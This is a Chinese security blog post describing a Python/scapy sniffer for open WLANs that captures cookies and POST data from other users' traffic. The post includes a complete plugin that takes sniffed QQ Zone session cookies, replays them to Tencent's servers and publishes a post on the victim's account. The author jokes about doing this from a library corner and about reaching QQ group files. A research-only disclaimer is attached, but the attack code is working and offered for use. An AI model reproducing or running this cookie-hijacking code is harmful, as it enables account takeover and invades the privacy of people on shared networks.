如何写一个开放WLAN下的嗅探测试工具?

* 本文作者:Macr0phag3,本文属FreeBuf原创奖励计划,未经许可禁止转载
_______..__ __. __ _______ _______ _______ .______
/ || \ | | | |

* 本文作者:Macr0phag3,本文属FreeBuf原创奖励计划,未经许可禁止转载

     _______..__   __.  __   _______  _______  _______ .______      
    /       ||  \ |  | |  | |   ____||   ____||   ____||   _  \      
   |   (----`|   \|  | |  | |  |__   |  |__   |  |__   |  |_)  |    
    \   \    |  . `  | |  | |   __|  |   __|  |   __|  |      /      
.----)   |   |  |\   | |  | |  |     |  |     |  |____ |  |\  \----.
|_______/    |__| \__| |__| |__|     |__|     |_______|| _| `._____| v3.0

介绍

有一天我在无意中发现,学校的WLAN是完全开放的。也就是说,身边充满了Cookie与明文密码。然后又发现了add在freebuf发的一篇文章,进而对写一个嗅探器的原理愈发有兴趣,于是就有了这个工具。

总之一句话,这个工具是用来嗅探测试开放WLAN下的数据包,具体嗅探的是含Cookie或者Method为Post的数据包。

*本文提供的工具仅供安全实验和教学用途,禁止非法使用

Gayhub地址

嗅探器是一个类,有以下参数:

1. -i:可选参数;嗅探使用的原始无线网卡的名字,若不填则代码会自动指定无线网卡

2. -mi:可选参数;默认值为‘mon0’;由于嗅探需要开启无线网卡的监听模式(monitor),这个是将原始无线网卡改为监听模式后的名字(改为监听模式并非直接改原无线网卡,而是生成一个处于监控模式的虚拟无线网卡);这个虚拟的无线网卡在嗅探器停止后会自动删除。

3. -f:可选参数;默认为空;嗅探器可以实时嗅探,也可以解析本地的pcap包,这个参数就是本地pcaps包的名字,注意一定要放在Pcaps目录里;只需填写文件名;

4. -o:可选参数;默认为1;嗅探器一旦发现Cookie或者Post的包,就会进行对应的输出,若不想看见实时输出,则置0,否则置1。

5. -sPkt:可选参数;默认为1;嗅探器发现符合filter的数据时,会对输出的结果进行保存;若不想保存这些结果,置0;默认保存在Pkts下;若置1,则在嗅探结束的时候会提示是否删除本次捕获的所有pkts;

6. -sPcap:可选参数;默认为0;嗅探器可以保存符合filter的原始数据包;1为保存;0为不保存;默认保存在Pcaps下;若置1,则在嗅探结束的时候会提示是否删除本次捕获的pcap;

7. -fm:可选参数;默认为空;与scapy的过滤语法一致,对数据包进行过滤;代码在后面默认过滤自己的ip,以及只嗅探tcp/ip相关的包;

8. -iHF:可选参数;在是一个文件(iHost.txt)的路径,默认在当前目录,里面包含的host,在停止嗅探后会高亮显示。​

代码中有插件功能,用意是捕获到指定的数据包时,可以由插件来完成后续的工作。例如,我校的校园网帐号密码可以用cookie拿到,那么这个功能就可以写成插件。弄插件的另一个目的是分离核心代码与其他代码。

举一些使用的例子:

1. 全部使用默认参数,此时自动指定无线网卡;生成一个虚拟的mon0无线网卡;在线模式;实时输出;保存解析过的Pkt;不保存原始Pcap;过滤为空;iHost.txt在当前目录下;

停止:

(这里我开启后就停止了,所以没有抓到包,正常情况返回的结果和下面本地解析的一样

2. 本地解析pcap:

注意

需要的库:

scapy + scapy_http + argparse + termcolor

这些库可以手动安装。

嗅探器在启动的时候也会自动检查环境并进行修复。

修复是直接使用sudo pip install 语句,若电脑中存在多版本的python,注意一下pip的使用,可能需要修改ToolBox中EnvirTools 的autoFix函数语句。

注意:Python 3.x 的scapy需要手动安装(存在一个很无语的问题

安装scapy for Py3.x

配置:

Ubuntu(其他Linux应该也可以)

pipiwiwconfigifconfig 需可用

以管理员权限运行

终端的宽度要足够,否则会出现很多换行。因为覆盖同一行输出的时候是用 ‘\r’ 实现的。

Python版本

2.x and 3.x

版本更新

v1.0:实现基本功能 v2.0:简化代码,完善自动检查环境脚本,修复n个Bug v2.0 Py3.x:移植v2.0到Py 3.x v3.0:增加命令行参数;完善自动检查环境脚本;简化部分代码

后续更新

代码不够简洁(逃 插件功能的实现没有我希望的那样方便,应该再开一个线程/进程,以免在插件运行的时候嗅探就暂停了。后续会改进。

一些话

目前写的比较粗糙,后续有时间会改进。但是功能是比较完善的。个人觉得自己写插件蛮好玩的;例如,空间登陆只需要3种Cookie,我们可以让嗅探器在嗅到这些Cookie的时候发条说说(有点傻):

#encoding: utf8
import os
from Toolbox.ColorTools import *
import re
from requests import *
import sys
def g_tk(p_skey):
    h = 5381
    for c in p_skey:
        h += (h << 5) + ord(c)
    return h & 0x7fffffff
def SendMsg(uin, skey, p_skey, msg):
    qq = re.findall(r'o0*(\S+)', uin)[0]
    with open('HackQzone.txt', 'r') as fp:
        if qq in fp.read():
            return 0
    try:
        rs = session() 
        cookies = {'uin': uin,
                   'skey': skey,
                   'p_uin': uin,
                   'p_skey': p_skey
                   }
        utils.add_dict_to_cookiejar(rs.cookies, cookies)
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36',
        }
        qzoneText = rs.post('http://user.qzone.qq.com/%s' %qq, headers=headers, cookies=cookies, timeout=5).text
        Qzname = re.findall(r'(.+) \[', qzoneText)
        Qname = re.findall(r'textoverflow">(.+)', qzoneText)
        print '[%s][%s][%s]' %(qq, Qname[0], Qzname[0]),
        qzonetoken = re.findall(r'window.g_qzonetoken = \(function\(\)\{ try\{return "(.+)";\} catch\(e\)', qzoneText)[0]
        url = 'https://user.qzone.qq.com/proxy/domain/taotao.qzone.qq.com/cgi-bin/emotion_cgi_publish_v6?qzonetoken=%s&g_tk=%s' %(qzonetoken, g_tk(p_skey))
        data = {'con': 'qm%s' %msg,
                'hostuin': qq,
        }
        rs.post(url, data=data, timeout=5).text
        print '\a[Hacked]'
        with open('HackQzone.txt', 'a') as fp:
            fp.write(qq+'\n')
        sys.exit(1) # 防止失控
    except Exception, e:
        print '  [%s] [%s]' %(putColor(qq, 'green'), putColor('Failed', 'red')), e
        print 
def QzoneCookieUsage(args):
    srcip = args[0]
    Cookie = args[1]
    if 'p_skey' in Cookie and 'skey' in Cookie:
        print '\r[' + putColor(srcip, 'cyan') + ']', putColor('Found Qzone Cookie!', 'green'), ' '*80
        print '  [-]%s' %putColor('Hacking...', 'yellow')
        cookie = Cookie.replace(';', '\n')
        skey = re.findall(r'\bskey=(.+)', cookie)[0]
        uin = re.findall(r'uin=(.+)', cookie)[0]
        p_skey = re.findall(r"p_skey=(.+)", cookie)[0]
        SendMsg(uin, skey, p_skey, 'What does the fox say?') # 发条说说<br /></code></pre>
<p>还可以怎么利用呢,蹲在图书馆的角落就可以发一些奇♂怪的东西:</p>
<p><img src="/d/file/2018-03-29/66b6dbe38511eccd84be90468a35567a.jpg" src="http://www.freebuf.com/buf/themes/freebuf/images/grey.gif" width="450" height="249"><br /></p>

<p>(图是我盗的,逃</p>
<p>后来还发现,qq群相关的包特别多,可以查看/下载/上传群文件等等,危害还蛮大的(图被我吃了</p>
<p>有些厂家的web端都有https(或者说比较全面。但是自家的app等却做得不好,各种明文到处飞(某盘从此成为老司机</p>
<p>没了没了~</p>
<p>* 本文作者:Macr0phag3,本文属FreeBuf原创奖励计划,未经许可禁止转载</p>        </article>

<div class="pagination pagination-multi"><ul></ul></div>

<div class="ads"><script src=http://www.ee50.com/d/js/acmsd/thea7.js></script></div>

        <nav class="article-nav"> <span class="article-nav-prev">上一篇 <a href='http://www.ee50.com/zx/wxaq/1036.html'>  利用PPPOE认证获取路由器中宽带账号密码</a></span> <span class="article-nav-next"><a href='http://www.ee50.com/zx/wxaq/'>返回列表</a> 下一篇</span> </nav>

        <div class="relates">

          <div class="title" style="margin-bottom:30px; margin-top:20px;">

            <h3>相关推荐</h3>

          </div>

        </div>

        <div class="clearfix relate-boxx">

          <ul class="clearfix list">

            <li> <a href="http://www.ee50.com/aqgl/aqgj/1055.html" title="  ASLR on the Line:利用Cache Side Channel来反随机化ASLR" target="_blank">

              <div class="overlay"></div>

              <img alt="  ASLR on the Line:利用Cache Side Channel来反随机化ASLR" title="  ASLR on the Line:利用Cache Side Channel来反随机化ASLR" src="http://www.ee50.com/e/data/tmp/titlepic/f84df9659f67c80884a4241cd5c9f01d.png" > 

              

              <div class="titlee">  ASLR on the Line:利用Cache Side</div>

              </a> </li><li> <a href="http://www.ee50.com/aqgl/aqgj/1051.html" title="  、小白都能看懂的JSON反序列化远程命令执行" target="_blank">

              <div class="overlay"></div>

              <img alt="  、小白都能看懂的JSON反序列化远程命令执行" title="  、小白都能看懂的JSON反序列化远程命令执行" src="http://www.ee50.com/e/data/tmp/titlepic/596cb0c48654c619b641a218b4022ac6.png" > 

              

              <div class="titlee">  、小白都能看懂的JSON反序列化远</div>

              </a> </li><li> <a href="http://www.ee50.com/aqgl/aqgj/1049.html" title="  Any.Run交互式恶意软件分析沙盒服务现向公众免费开放" target="_blank">

              <div class="overlay"></div>

              <img alt="  Any.Run交互式恶意软件分析沙盒服务现向公众免费开放" title="  Any.Run交互式恶意软件分析沙盒服务现向公众免费开放" src="http://www.ee50.com/e/data/tmp/titlepic/1378e5bca9fba84c0cf4df81aa9f0c7b.jpg" > 

              

              <div class="titlee">  Any.Run交互式恶意软件分析沙盒</div>

              </a> </li><li> <a href="http://www.ee50.com/aqgl/aqgj/1047.html" title="  x64下利用LD_PRELOAD动态连接,给软件增加自己需要的功能" target="_blank">

              <div class="overlay"></div>

              <img alt="  x64下利用LD_PRELOAD动态连接,给软件增加自己需要的功能" title="  x64下利用LD_PRELOAD动态连接,给软件增加自己需要的功能" src="http://www.ee50.com/e/data/tmp/titlepic/d0de881a62145b71e6b9af7efec6bb1e.jpg" > 

              

              <div class="titlee">  x64下利用LD_PRELOAD动态连接,给</div>

              </a> </li><li> <a href="http://www.ee50.com/aqgl/zdaq/1045.html" title="  使用x64dbg分析微信聊天函数并实现发信息" target="_blank">

              <div class="overlay"></div>

              <img alt="  使用x64dbg分析微信聊天函数并实现发信息" title="  使用x64dbg分析微信聊天函数并实现发信息" src="http://www.ee50.com/e/data/tmp/titlepic/165d5293803288abcfd06af7c01fce6e.png" > 

              

              <div class="titlee">  使用x64dbg分析微信聊天函数并实</div>

              </a> </li><li> <a href="http://www.ee50.com/zx/wxaq/1035.html" title="  面向机器人的通讯机制安全研究与改进" target="_blank">

              <div class="overlay"></div>

              <img alt="  面向机器人的通讯机制安全研究与改进" title="  面向机器人的通讯机制安全研究与改进" src="http://www.ee50.com/e/data/tmp/titlepic/9cd1ce6a59dc92f6656c918ae770c74f.jpg" > 

              

              <div class="titlee">  面向机器人的通讯机制安全研究与</div>

              </a> </li>          </ul>

        </div>

      <div class="title" id="comments">

      <link href="/skin/ecmspl/css/pl.css" rel="stylesheet">

<div class="showpage" id="plpost">

<table width="100%" border="0" cellpadding="0" cellspacing="0"  style="line-height: 25px; padding: 5px 3px 1px 8px; font-size: 18px;">

<tr><td><strong><font color="#333333">留言与评论(共有 <span id="infocommentnumarea">0</span> 条评论)</font></strong></td></tr>

</table>

<script>

		  function CheckPl(obj)

		  {

		  if(obj.saytext.value=="")

		  {

		  alert("您没什么话要说吗?");

		  obj.saytext.focus();

		  return false;

		  }

		  return true;

		  }

		  </script>

<form action="/e/pl/doaction.php" method="post" name="saypl" id="saypl" onsubmit="return CheckPl(document.saypl)">

<table width="100%" border="0" cellpadding="0" cellspacing="0" id="plpost">

<tr>

<td>

<table width="100%" border="0" cellspacing="10" cellpadding="0">

<tr>

<td>

<script src="http://www.ee50.com/e/pl/loginjspl.php"></script>

<textarea name="saytext" rows="6" id="saytext" placeholder="请遵守互联网相关规定,不要发布广告和违法内容!"></textarea>

<script src="/d/js/js/plface.js"></script>   

<table width='100%' align='left' cellpadding=3 cellspacing=1 bgcolor='#FFF'>

<tr>

<td width="80%" height="40" bgcolor="#FFFFFF">验证码:<input name="key" type="text" class="inputText" size="16" />

<img src="/e/ShowKey/?v=pl" align="absmiddle" name="plKeyImg" id="plKeyImg" onclick="plKeyImg.src='/e/ShowKey/?v=pl&t='+Math.random()" title="看不清楚,点击刷新" /> 

</td> 

<td width="20%" height="40" bgcolor="#FFFFFF"> 

<input name="sumbit" type="submit" value="提交评论" tabindex="6" style="border-radius: 5px;font-size: 16px;background: #e94c3d none repeat scroll 0% 0%;border: 0px none;margin: 0px 16px;padding: 1px 16px;height: 33px;line-height: 30px;color: rgb(255, 255, 255);opacity: 0.95;">

<input name="id" type="hidden" id="id" value="1062" />

<input name="classid" type="hidden" id="classid" value="15" />

<input name="enews" type="hidden" id="enews" value="AddPl" />

<input name="repid" type="hidden" id="repid" value="0" />

<input type="hidden" name="ecmsfrom" value="http://www.ee50.com/zx/wxaq/1062.html">

</td>

</tr>  

</table> 

</td>

</tr>

</table>

</td>

</tr>

</table></form>

	<table width="100%" border="0" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">

        <tr>

          <td bgcolor="#FFFFFF" id="infocommentarea"></td>

        </tr>

        </table>

 <script src="http://www.ee50.com/e/extend/infocomment/commentajax.php?classid=15&id=1062"></script>

</div>	

</div>



	</div>

    </div>

	</div>

    <div class="mt10">

    <aside class="sidebar">

    <style>

.warps {

	width:330px;

	height:180px;

	margin-bottom:15px;

	padding:10px;

}

.contents {

	width:300px;

	height:160px;

	margin:0px auto;

	padding:30px 30px;

	background:rgba(38, 38, 38, 0.6)!important;

	filter:Alpha(opacity=60);

	background:#000;

}

.contents p {

	position:relative;

	color:#fff;

	font-size:20px;

	line-height:30px;

	text-align:center;

	margin-top:20px;

}

</style>



    <div class="widget">

    <script src=http://www.ee50.com/d/js/acmsd/thea1.js></script>

    </div>

    <div class="widget widget-tops" style="background-color:#262627; background-image:url(http://www.ee50.com/skin/ecms092/images/bj.jpg);background-size:100%;margin-top: 20px; ">

      <ul class="widget-navcontent" >

        <script src="http://www.ee50.com/e/member/login/loginjs.php"></script>

      </ul>

    </div>

    <div class="widget widget_ui_posts">

      <h3>热门文章</h3>

      <ul>

              <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/400.html"><span class="thumbnail"><img  src="http://www.ee50.com/e/data/tmp/titlepic/01f17e6f05b4574f77c4f4cced1d8bf7.jpg" > </span><span class="text">如此善良的坏人</span><span class="muted">2016-01-01</span><span class="muted">浏览(958)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/405.html"><span class="thumbnail"><img  src="http://www.ee50.com/e/data/tmp/titlepic/762d05bb45754aa5c584641bda25850c.jpg" > </span><span class="text">做你自己,不要刻意去取悦别人</span><span class="muted">2016-01-01</span><span class="muted">浏览(944)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/382.html"><span class="thumbnail"><img  src="http://www.ee50.com/e/data/tmp/titlepic/31ffe5bd795c466d8cd79dc79226d4f5.jpg" > </span><span class="text">不要害怕自己不聪明,也不要害怕做一个努力的普通人</span><span class="muted">2016-01-01</span><span class="muted">浏览(924)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/337.html"><span class="thumbnail"><img  src="http://www.ee50.com/e/data/tmp/titlepic/807ab03bfeab1475d89aa2a9df750ada.jpg" > </span><span class="text">世界上最快乐的事</span><span class="muted">2016-01-01</span><span class="muted">浏览(913)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/387.html"><span class="thumbnail"><img  src="http://www.ee50.com/e/data/tmp/titlepic/8a359c75cbd9c0758d30f1d66796d2a3.jpg" > </span><span class="text">戒贪</span><span class="muted">2016-01-01</span><span class="muted">浏览(898)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/394.html"><span class="thumbnail"><img  src="http://www.ee50.com/e/data/tmp/titlepic/c499354ce156ff4c87b78ed8920b6524.jpg" > </span><span class="text">藏,是懂得最深的慈悲</span><span class="muted">2016-01-01</span><span class="muted">浏览(833)</span></a></li>

             </ul>

    </div>

    <div class="widget">

    <script src=http://www.ee50.com/d/js/acmsd/thea2.js></script>

    </div>

    <div class="widget widget_ui_tags">

      <h3>热门标签</h3>

      <div class="items">    <a href="http://www.ee50.com/e/tags/?tagname=%E5%95%86%E4%B8%9A%E6%A8%A1%E5%BC%8F"  target="_blank" title="44个话题">商业模式</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%88%9B%E4%B8%9A%E7%8E%AF%E5%A2%83"  target="_blank" title="42个话题">创业环境</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E8%81%8C%E5%9C%BA%E8%A7%84%E5%88%99"  target="_blank" title="42个话题">职场规则</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E8%81%8C%E4%B8%9A%E7%94%9F%E6%B6%AF%E8%A7%84%E5%88%92"  target="_blank" title="37个话题">职业生涯规划</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E4%BA%BA%E7%94%9F%E6%84%9F%E6%82%9F"  target="_blank" title="35个话题">人生感悟</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%8F%91%E5%B1%95%E8%A7%84%E5%88%92"  target="_blank" title="27个话题">发展规划</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E7%A4%BE%E4%BA%A4%E7%AE%A1%E7%90%86"  target="_blank" title="26个话题">社交管理</a>        <a href="http://www.ee50.com/e/tags/?tagname=O2O%E5%88%9B%E4%B8%9A"  target="_blank" title="22个话题">O2O创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E7%BD%91%E7%BB%9C%E5%88%9B%E4%B8%9A"  target="_blank" title="20个话题">网络创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E9%9D%A2%E8%AF%95%E6%8A%80%E5%B7%A7"  target="_blank" title="20个话题">面试技巧</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94"  target="_blank" title="18个话题">生活随笔</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E7%9B%AE%E6%A0%87%E7%AE%A1%E7%90%86"  target="_blank" title="18个话题">目标管理</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%A4%A7%E5%AD%A6%E7%94%9F%E5%88%9B%E4%B8%9A"  target="_blank" title="17个话题">大学生创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E9%9D%A2%E8%AF%95%E7%BB%8F%E9%AA%8C"  target="_blank" title="15个话题">面试经验</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%88%9B%E4%B8%9A%E8%9E%8D%E8%B5%84"  target="_blank" title="14个话题">创业融资</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94"  target="_blank" title="13个话题">心情随笔</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%BC%80%E5%BA%97%E5%88%9B%E4%B8%9A"  target="_blank" title="13个话题">开店创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E6%A0%A1%E5%9B%AD%E6%8B%9B%E8%81%98"  target="_blank" title="13个话题">校园招聘</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%85%AC%E5%8F%B8%E7%AE%A1%E7%90%86"  target="_blank" title="13个话题">公司管理</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E7%A7%BB%E5%8A%A8%E4%BA%92%E8%81%94%E7%BD%91"  target="_blank" title="12个话题">移动互联网</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%88%9B%E4%B8%9A%E8%AE%A1%E5%88%92"  target="_blank" title="11个话题">创业计划</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E6%B1%82%E8%81%8C%E7%BB%8F%E5%8E%86"  target="_blank" title="11个话题">求职经历</a>        <a href="http://www.ee50.com/e/tags/?tagname=90%E5%90%8E%E5%88%9B%E4%B8%9A"  target="_blank" title="11个话题">90后创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E6%95%A3%E6%96%87%E9%9A%8F%E7%AC%94"  target="_blank" title="11个话题">散文随笔</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%88%9B%E6%84%8F%E5%88%9B%E4%B8%9A"  target="_blank" title="11个话题">创意创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%B0%8F%E6%9C%AC%E5%88%9B%E4%B8%9A"  target="_blank" title="11个话题">小本创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E8%B7%B3%E6%A7%BD%E7%AE%A1%E7%90%86"  target="_blank" title="10个话题">跳槽管理</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E7%BD%91%E7%BB%9C%E8%90%A5%E9%94%80"  target="_blank" title="10个话题">网络营销</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E9%A4%90%E9%A5%AE%E5%88%9B%E4%B8%9A"  target="_blank" title="9个话题">餐饮创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=80%E5%90%8E%E5%88%9B%E4%B8%9A"  target="_blank" title="9个话题">80后创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%88%9B%E4%B8%9A%E6%89%B6%E6%8C%81"  target="_blank" title="9个话题">创业扶持</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%88%9B%E4%B8%9A%E5%A4%B1%E8%B4%A5"  target="_blank" title="9个话题">创业失败</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E8%96%AA%E6%B0%B4%E7%AE%A1%E7%90%86"  target="_blank" title="8个话题">薪水管理</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E7%94%B5%E5%AD%90%E5%95%86%E5%8A%A1"  target="_blank" title="8个话题">电子商务</a>        <a href="http://www.ee50.com/e/tags/?tagname=APP%E5%88%9B%E4%B8%9A"  target="_blank" title="8个话题">APP创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E6%88%90%E5%8A%9F%E8%A6%81%E7%B4%A0"  target="_blank" title="8个话题">成功要素</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E6%B1%82%E8%81%8C%E7%BB%8F%E9%AA%8C"  target="_blank" title="8个话题">求职经验</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E9%9D%A2%E8%AF%95%E7%BB%8F%E5%8E%86"  target="_blank" title="7个话题">面试经历</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%86%9C%E4%B8%9A%E5%88%9B%E4%B8%9A"  target="_blank" title="7个话题">农业创业</a>        <a href="http://www.ee50.com/e/tags/?tagname=%E5%8A%B1%E5%BF%97%E6%96%87%E7%AB%A0"  target="_blank" title="7个话题">励志文章</a>    </div>

    </div>

    <div class="widget">

    <script src=http://www.ee50.com/d/js/acmsd/thea3.js></script>

    </div>

    <div class="widget widget_ui_posts">

      <h3>随便看看</h3>

      <ul class="nopic">

              <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/545.html"><span class="text">  揭秘物联网僵尸网络GAFGYT家族与NETCORE 53413后门的背后故事</span><span class="muted">2018-02-15</span><span class="muted">浏览(11)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/339.html"><span class="text">一个女孩子为什么要努力?</span><span class="muted">2016-01-01</span><span class="muted">浏览(596)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/326.html"><span class="text">美丽的茧</span><span class="muted">2016-01-01</span><span class="muted">浏览(471)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/328.html"><span class="text">其实,哪里有真的白马王子?</span><span class="muted">2016-01-01</span><span class="muted">浏览(324)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/400.html"><span class="text">如此善良的坏人</span><span class="muted">2016-01-01</span><span class="muted">浏览(958)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/315.html"><span class="text">一封老婆给二奶的辞职信</span><span class="muted">2016-01-01</span><span class="muted">浏览(411)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/332.html"><span class="text">女孩要懂得暧昧和拒绝</span><span class="muted">2016-01-01</span><span class="muted">浏览(810)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/625.html"><span class="text">  WPA/WPA2漏洞分析(一)</span><span class="muted">2018-02-15</span><span class="muted">浏览(15)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/357.html"><span class="text">受人尊重胜过受欢迎</span><span class="muted">2016-01-01</span><span class="muted">浏览(468)</span></a></li>

               <li><a target="_blank" href="http://www.ee50.com/zx/wxaq/377.html"><span class="text">关上尘世的耳朵</span><span class="muted">2016-01-01</span><span class="muted">浏览(196)</span></a></li>

             </ul>

    </div>

    

  </aside>

</section>

<footer class="footer">

  <div class="container">

    <div class="fcode"> </div>

    <p>© 2016 <a href="http://www.ee50.com/">网络安全,黑客攻防,应用安全</a>   京ICP1234567-2号   统计代码 </p>

  </div>

</footer>

<script>

window.jsui={

    www: 'http://www.ee50.com/',

    uri: 'http://www.ee50.com/skin/ecms092',

    ver: '1.3',

	roll: '1',

    ajaxpager: '2',

    url_rp: 'http://www.ee50.com/'

};

</script> 

<script type='text/javascript' src='http://www.ee50.com/skin/ecms092/js/bootstrap.min.js?ver=1.3'></script> 

<script type='text/javascript' src='http://www.ee50.com/skin/ecms092/js/loader.js?ver=1.3'></script>

<div style="display:none"><script src=http://www.ee50.com/e/public/ViewClick/?classid=15&id=1062&addclick=1></script></div>

</body>

</html>